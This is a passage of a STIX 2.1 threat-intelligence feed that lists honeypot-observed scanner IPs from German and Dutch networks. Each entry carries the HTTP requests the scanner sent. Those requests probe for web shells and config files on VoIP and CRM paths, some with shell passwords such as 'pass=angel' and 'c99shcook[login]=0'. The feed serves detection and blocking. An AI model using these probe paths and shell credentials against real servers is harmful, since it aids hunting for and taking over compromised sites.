      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-24T01:27:16.891Z",
          "last_seen": "2026-05-24T01:27:16.891Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /recordings.old/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /system.php?xxw1 HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--2cebfa52-ad93-4df9-9533-4809fffbab52",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 5,
          "first_seen": "2026-05-24T01:24:38.126Z",
          "last_seen": "2026-05-24T01:24:44.825Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /system.php?xxw1 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/11.php?1 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/3Zz.php?2 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/Go.php?6 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/a7a.php?3 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/theme/config.inc.php? HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--ae8f883c-c59d-4ccf-ac97-743bbdac2999",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-24T01:20:07.632Z",
          "last_seen": "2026-05-24T01:20:11.304Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /pew.php?qw HTTP/1.1\" 404 -",
            "\"GET /recordings/theme/config.inc.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/theme/new.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /falx.php?xw HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--355fcc14-b70b-4d5d-a151-e95defdb0ab0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T01:25:11.643Z",
          "last_seen": "2026-05-24T01:25:20.559Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /falx.php?xw HTTP/1.1\" 404 -",
            "\"GET /wav.php?123 HTTP/1.1\" 404 -",
            "\"GET /webadmin.php?!23 HTTP/1.1\" 404 -",
            "\"GET /x1.php?123 HTTP/1.1\" 404 -",
            "\"GET /z.php?pass=angel HTTP/1.1\" 404 -",
            "\"GET /zz.php.call HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /panel/main.php.2?4\u00d8\u00b6 HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--da95820a-82f3-4fd2-8c4d-24cfd4e811cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T01:22:37.410Z",
          "last_seen": "2026-05-24T01:22:47.276Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /panel/main.php.2?4\u00d8\u00b6 HTTP/1.1\" 404 -",
            "\"GET /panel/webadmin.php? HTTP/1.1\" 404 -",
            "\"GET /phpversions.php?module=upload HTTP/1.1\" 404 -",
            "\"GET /phpversions.php?module=upload&11 HTTP/1.1\" 404 -",
            "\"GET /recordings/11.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/3Zz.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/ELLYAAS/config.php? HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--1134fcba-f42d-4420-b060-473e2b7cbc12",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 5,
          "first_seen": "2026-05-24T01:23:21.171Z",
          "last_seen": "2026-05-24T01:23:28.189Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /recordings/ELLYAAS/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/ELMAYET/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/em7e/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/emad-shell.php?34 HTTP/1.1\" 404 -",
            "\"GET /recordings/emad.php?45 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /vtigercrm/phpversions.php?module=upload&11 HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--b3ccbb1b-dfbf-47f9-acec-66be20ff9510",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T01:24:58.043Z",
          "last_seen": "2026-05-24T01:25:05.729Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /vtigercrm/phpversions.php?module=upload&11 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/xXx-ELMAYET-xXx.php?9 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/xXx-mat.php?7 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/z.php?23 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/z.php?pass=angel HTTP/1.1\" 404 -",
            "\"GET /x5.php?pass=angel HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /STC_VoIP_PIN/config.all.php?x HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--25b04d95-0cfe-47d8-98f7-e7783bf1268f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-24T01:29:42.165Z",
          "last_seen": "2026-05-24T01:30:15.733Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /STC_VoIP_PIN/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/dhtml/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/flash/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/bg_BG/LC_MESSAGES/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/bg_BG/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/misc/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/modules/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/theme/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /restapi/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/misc/callme_page.php?cc HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--8e97c5b9-88c0-49b2-9e93-f68d511f70a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T01:21:12.319Z",
          "last_seen": "2026-05-24T01:21:20.813Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /recordings/misc/callme_page.php?cc HTTP/1.1\" 404 -",
            "\"GET /recordings/misc/thaer.php?cc HTTP/1.1\" 404 -",
            "\"GET /recordings/pow.php?zxc HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /framework/config.all.php? HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--7866c056-483b-40ea-bed8-848fec666538",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T01:26:45.088Z",
          "last_seen": "2026-05-24T01:26:53.358Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /framework/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /help/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /images/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /include/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /js/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /k12/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /js/config.all.php?x HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--13f6e099-a74f-496e-bea3-9aec0361762a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-24T01:29:19.675Z",
          "last_seen": "2026-05-24T01:29:22.676Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /js/config.all.php?x HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /a2billing/config.all.php? HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--edc71b6d-6995-4222-a39e-9740f4ade136",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-24T01:26:02.288Z",
          "last_seen": "2026-05-24T01:26:15.459Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /a2billing/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /aastra/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/assets/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/cdr/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/common/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/helpers/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/i18n/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/images/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/libraries/config.all.php? HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--62160e0e-6c19-45c6-828c-76c285e754bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-24T01:26:17.157Z",
          "last_seen": "2026-05-24T01:26:29.723Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /admin/libraries/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/cxpanel/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/ucp/htdocs/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/themes/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/views/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /asteriskWS/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /bin/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /cisco/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/m7mood/config.php? HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--45ee6f75-2023-4963-ad3f-875c0293afa6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-24T01:21:10.596Z",
          "last_seen": "2026-05-24T01:23:59.525Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /recordings/m7mood/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php.1?2w HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php.1?5a HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php.2?2s HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php?22 HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php?3q HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php?x3 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/k4ijo.php?p=sakywshaky1986 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/modules/ucp/htdocs/config.all.php?x HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--fdb37fac-711f-4b62-90a5-93c9389f7fc7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T01:28:41.453Z",
          "last_seen": "2026-05-24T01:28:49.174Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /admin/modules/ucp/htdocs/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/themes/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/views/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /asteriskWS/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /bin/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /cisco/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--12595dde-42e5-4206-9a04-b09cb82bc2dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 13,
          "first_seen": "2026-05-24T01:20:59.814Z",
          "last_seen": "2026-05-24T01:25:30.129Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /a2billing/ws.php?caw HTTP/1.1\" 404 -",
            "\"GET /admin/fortest.php?xa HTTP/1.1\" 404 -",
            "\"GET /api.php? HTTP/1.1\" 404 -",
            "\"GET /modular.php? HTTP/1.1\" 404 -",
            "\"GET /panel/fortest.php?wd HTTP/1.1\" 404 -",
            "\"GET /recordings/sall123.php?qwe HTTP/1.1\" 404 -",
            "\"GET /var/config.php?z1 HTTP/1.1\" 404 -",
            "\"GET /var/mod_conf.php?c99shcook[login]=0 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/saky.php?p=love04h@te HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /classes/config.all.php? HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--f7a4f557-1d3a-4f9a-8e99-1cac416f2e7e",
      "labels": [
        "botnet_cc",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-24T01:26:31.322Z",
          "last_seen": "2026-05-24T01:26:43.488Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /classes/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /components/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /config.all.php? HTTP/1.1\" 404 -",
            "\"GET /config/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /configs/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /controllers/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /css/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /digium_phones/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /elastixConnection/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/.tika.php?2hj HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--b1736984-db77-4eee-aacf-cf392fe1b0d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T01:20:40.108Z",
          "last_seen": "2026-05-24T01:20:47.563Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /recordings/.tika.php?2hj HTTP/1.1\" 404 -",
            "\"GET /recordings/.tika.php?mnas HTTP/1.1\" 404 -",
            "\"GET /recordings/lol.php?31asd HTTP/1.1\" 404 -",
            "\"GET /recordings/play_page.php?qwe HTTP/1.1\" 404 -",
            "\"GET /recordings/pos.php?ca HTTP/1.1\" 404 -",
            "\"GET /var/tika.php?bbt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
